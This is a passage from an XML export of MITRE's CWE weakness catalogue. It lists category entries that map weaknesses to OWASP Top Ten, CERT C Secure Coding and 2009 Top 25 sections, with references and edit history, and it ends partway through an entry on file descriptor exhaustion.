				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Top 10 2007-Insecure Communications</Reference_Title>
					          <Reference_PubDate>2007</Reference_PubDate>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2007-A9</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2008-09-09</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="721" Name="OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A10 category in
					the OWASP Top Ten 2007.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Top 10 2007-Failure to Restrict URL Access</Reference_Title>
					          <Reference_PubDate>2007</Reference_PubDate>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2007-A10</Reference_Link>
				        </Reference>
			      </References>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>1</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>127</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>56</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2008-09-09</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="722" Name="OWASP Top Ten 2004 Category A1 - Unvalidated Input" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A1 category in
					the OWASP Top Ten 2004.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>A1 Unvalidated Input</Reference_Title>
					          <Reference_PubDate>2007</Reference_PubDate>
					          <Reference_Link>http://sourceforge.net/project/showfiles.php?group_id=64424&amp;package_id=70827</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter_Organization>Veracode</Submitter_Organization>
					          <Submission_Date>2008-08-15</Submission_Date>
					          <Submission_Comment>Suggested creation of view and provided
						mappings</Submission_Comment>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="723" Name="OWASP Top Ten 2004 Category A2 - Broken Access Control" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A2 category in
					the OWASP Top Ten 2004.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>A2 Broken Access Control</Reference_Title>
					          <Reference_PubDate>2007</Reference_PubDate>
					          <Reference_Link>http://sourceforge.net/project/showfiles.php?group_id=64424&amp;package_id=70827</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter_Organization>Veracode</Submitter_Organization>
					          <Submission_Date>2008-08-15</Submission_Date>
					          <Submission_Comment>Suggested creation of view and provided
						mappings</Submission_Comment>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="724" Name="OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A3 category in
					the OWASP Top Ten 2004.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>A3 Broken Authentication and Session
						Management</Reference_Title>
					          <Reference_PubDate>2007</Reference_PubDate>
					          <Reference_Link>http://sourceforge.net/project/showfiles.php?group_id=64424&amp;package_id=70827</Reference_Link>
				        </Reference>
			      </References>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>31</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>57</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>94</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter_Organization>Veracode</Submitter_Organization>
					          <Submission_Date>2008-08-15</Submission_Date>
					          <Submission_Comment>Suggested creation of view and provided
						mappings</Submission_Comment>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="725" Name="OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A4 category in
					the OWASP Top Ten 2004.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>A4 Cross-Site Scripting (XSS) Flaws</Reference_Title>
					          <Reference_PubDate>2007</Reference_PubDate>
					          <Reference_Link>http://sourceforge.net/project/showfiles.php?group_id=64424&amp;package_id=70827</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter_Organization>Veracode</Submitter_Organization>
					          <Submission_Date>2008-08-15</Submission_Date>
					          <Submission_Comment>Suggested creation of view and provided
						mappings</Submission_Comment>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="726" Name="OWASP Top Ten 2004 Category A5 - Buffer Overflows" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A5 category in
					the OWASP Top Ten 2004.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>A5 Buffer Overflows</Reference_Title>
					          <Reference_PubDate>2007</Reference_PubDate>
					          <Reference_Link>http://sourceforge.net/project/showfiles.php?group_id=64424&amp;package_id=70827</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter_Organization>Veracode</Submitter_Organization>
					          <Submission_Date>2008-08-15</Submission_Date>
					          <Submission_Comment>Suggested creation of view and provided
						mappings</Submission_Comment>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="727" Name="OWASP Top Ten 2004 Category A6 - Injection Flaws" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A6 category in
					the OWASP Top Ten 2004.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>A6 Injection Flaws</Reference_Title>
					          <Reference_PubDate>2007</Reference_PubDate>
					          <Reference_Link>http://sourceforge.net/project/showfiles.php?group_id=64424&amp;package_id=70827</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter_Organization>Veracode</Submitter_Organization>
					          <Submission_Date>2008-08-15</Submission_Date>
					          <Submission_Comment>Suggested creation of view and provided
						mappings</Submission_Comment>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="728" Name="OWASP Top Ten 2004 Category A7 - Improper Error Handling" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A7 category in
					the OWASP Top Ten 2004.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>A7 Improper Error Handling</Reference_Title>
					          <Reference_PubDate>2007</Reference_PubDate>
					          <Reference_Link>http://sourceforge.net/project/showfiles.php?group_id=64424&amp;package_id=70827</Reference_Link>
				        </Reference>
			      </References>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>28</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter_Organization>Veracode</Submitter_Organization>
					          <Submission_Date>2008-08-15</Submission_Date>
					          <Submission_Comment>Suggested creation of view and provided
						mappings</Submission_Comment>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="729" Name="OWASP Top Ten 2004 Category A8 - Insecure Storage" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A8 category in
					the OWASP Top Ten 2004.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>A8 Insecure Storage</Reference_Title>
					          <Reference_PubDate>2007</Reference_PubDate>
					          <Reference_Link>http://sourceforge.net/project/showfiles.php?group_id=64424&amp;package_id=70827</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter_Organization>Veracode</Submitter_Organization>
					          <Submission_Date>2008-08-15</Submission_Date>
					          <Submission_Comment>Suggested creation of view and provided
						mappings</Submission_Comment>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="730" Name="OWASP Top Ten 2004 Category A9 - Denial of Service" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A9 category in
					the OWASP Top Ten 2004.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>A9 Denial of Service</Reference_Title>
					          <Reference_PubDate>2007</Reference_PubDate>
					          <Reference_Link>http://sourceforge.net/project/showfiles.php?group_id=64424&amp;package_id=70827</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter_Organization>Veracode</Submitter_Organization>
					          <Submission_Date>2008-08-15</Submission_Date>
					          <Submission_Comment>Suggested creation of view and provided
						mappings</Submission_Comment>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="731" Name="OWASP Top Ten 2004 Category A10 - Insecure Configuration Management" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A10 category in
					the OWASP Top Ten 2004.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>A10 Insecure Configuration Management</Reference_Title>
					          <Reference_PubDate>2007</Reference_PubDate>
					          <Reference_Link>http://sourceforge.net/project/showfiles.php?group_id=64424&amp;package_id=70827</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter_Organization>Veracode</Submitter_Organization>
					          <Submission_Date>2008-08-15</Submission_Date>
					          <Submission_Comment>Suggested creation of view and provided
						mappings</Submission_Comment>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="735" Name="CERT C Secure Coding Section 01 - Preprocessor (PRE)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					preprocessor section of the CERT C Secure Coding Standard. Since not all rules
					map to specific weaknesses, this category may be incomplete.
				</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>01. Preprocessor (PRE)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/seccode/01.+Preprocessor+%28PRE%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2008-11-24</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="736" Name="CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					declarations and initialization section of the CERT C Secure Coding Standard.
					Since not all rules map to specific weaknesses, this category may be incomplete.
				</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>02. Declarations and Initialization (DCL)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/seccode/02.+Declarations+and+Initialization+%28DCL%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2008-11-24</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="737" Name="CERT C Secure Coding Section 03 - Expressions (EXP)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					expressions section of the CERT C Secure Coding Standard. Since not all rules
					map to specific weaknesses, this category may be incomplete.
				</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>03. Expressions (EXP)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/seccode/03.+Expressions+%28EXP%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2008-11-24</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="738" Name="CERT C Secure Coding Section 04 - Integers (INT)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					integers section of the CERT C Secure Coding Standard. Since not all rules map
					to specific weaknesses, this category may be incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>04. Integers (INT)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/seccode/04.+Integers+%28INT%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2008-11-24</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="739" Name="CERT C Secure Coding Section 05 - Floating Point (FLP)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					floating point section of the CERT C Secure Coding Standard. Since not all rules
					map to specific weaknesses, this category may be incomplete.
				</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>05. Floating Point (FLP)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/seccode/05.+Floating+Point+%28FLP%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2008-11-24</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="740" Name="CERT C Secure Coding Section 06 - Arrays (ARR)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the arrays
					section of the CERT C Secure Coding Standard. Since not all rules map to
					specific weaknesses, this category may be incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>06. Arrays (ARR)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/seccode/06.+Arrays+%28ARR%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2008-11-24</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="741" Name="CERT C Secure Coding Section 07 - Characters and Strings (STR)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					characters and strings section of the CERT C Secure Coding Standard. Since not
					all rules map to specific weaknesses, this category may be incomplete.
				</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>07. Characters and Strings (STR)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/seccode/07.+Characters+and+Strings+%28STR%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2008-11-24</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="742" Name="CERT C Secure Coding Section 08 - Memory Management (MEM)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the memory
					management section of the CERT C Secure Coding Standard. Since not all rules map
					to specific weaknesses, this category may be incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>08. Memory Management (MEM)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/seccode/08.+Memory+Management+%28MEM%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2008-11-24</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="743" Name="CERT C Secure Coding Section 09 - Input Output (FIO)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					input/output section of the CERT C Secure Coding Standard. Since not all rules
					map to specific weaknesses, this category may be incomplete.
				</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>09. Input Output (FIO)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/seccode/09.+Input+Output+%28FIO%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2008-11-24</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="744" Name="CERT C Secure Coding Section 10 - Environment (ENV)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					environment section of the CERT C Secure Coding Standard. Since not all rules
					map to specific weaknesses, this category may be incomplete.
				</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>10. Environment (ENV)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/seccode/10.+Environment+%28ENV%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2008-11-24</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="745" Name="CERT C Secure Coding Section 11 - Signals (SIG)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the signals
					section of the CERT C Secure Coding Standard. Since not all rules map to
					specific weaknesses, this category may be incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>11. Signals (SIG)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/seccode/11.+Signals+%28SIG%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2008-11-24</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="746" Name="CERT C Secure Coding Section 12 - Error Handling (ERR)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the error
					handling section of the CERT C Secure Coding Standard. Since not all rules map
					to specific weaknesses, this category may be incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>12. Error Handling (ERR)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/seccode/12.+Error+Handling+%28ERR%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2008-11-24</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="747" Name="CERT C Secure Coding Section 49 - Miscellaneous (MSC)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the
					miscellaneous section of the CERT C Secure Coding Standard. Since not all rules
					map to specific weaknesses, this category may be incomplete.
				</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>49. Miscellaneous (MSC)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/seccode/49.+Miscellaneous+%28MSC%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2008-11-24</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="748" Name="CERT C Secure Coding Section 50 - POSIX (POS)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to rules in the POSIX
					section of the CERT C Secure Coding Standard. Since not all rules map to
					specific weaknesses, this category may be incomplete.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>CERT</Reference_Author>
					          <Reference_Title>50. POSIX (POS)</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/seccode/50.+POSIX+%28POS%29</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2008-11-24</Submission_Date>
				        </Submission>
			      </Content_History>
		    </Category>
                    <Category ID="751" Name="2009 Top 25 - Insecure Interaction Between Components" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are listed in the "Insecure
					Interaction Between Components" section of the 2009 CWE/SANS Top 25 Programming
					Errors.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Title>2009 CWE/SANS Top 25 Programming Errors</Reference_Title>
					          <Reference_Date>2009-01-12</Reference_Date>
					          <Reference_Link>http://cwe.mitre.org/top25</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-01-12</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-02-16">Insecure Interaction Between
						Components</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Category>
                    <Category ID="752" Name="2009 Top 25 - Risky Resource Management" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are listed in the "Risky Resource
					Management" section of the 2009 CWE/SANS Top 25 Programming
					Errors.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Title>2009 CWE/SANS Top 25 Programming Errors</Reference_Title>
					          <Reference_Date>2009-01-12</Reference_Date>
					          <Reference_Link>http://cwe.mitre.org/top25</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-01-12</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-02-16">Risky Resource
						Management</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Category>
                    <Category ID="753" Name="2009 Top 25 - Porous Defenses" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are listed in the "Porous Defenses"
					section of the 2009 CWE/SANS Top 25 Programming Errors.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Title>2009 CWE/SANS Top 25 Programming Errors</Reference_Title>
					          <Reference_Date>2009-01-12</Reference_Date>
					          <Reference_Link>http://cwe.mitre.org/top25</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-01-12</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Name, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-02-16">Porous
						Defenses</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Category>
                    <Category ID="769" Name="File Descriptor Exhaustion" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software can be influenced by an attacker to open more
					files than are supported by the system.</Description_Summary>
				        <Extended_Description>
					          <Text>There are at least three distinct scenarios which can commonly lead to
						file descriptor exhaustion:</Text>
					          <Block Block_Nature="List">
						            <Text>Lack of throttling for the number of open file descriptors</Text>
						            <Text>Losing all references to a file descriptor before reaching the
							shutdown stage</Text>
						            <Text>Not closing file descriptors after processing</Text>
					          </Block>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>400</Relationship_Target_ID>
					          <!--Uncontrolled Resource Consumption ('Resource Exhaustion')-->
				</Relationship>
			      </Relationships>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This entry</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
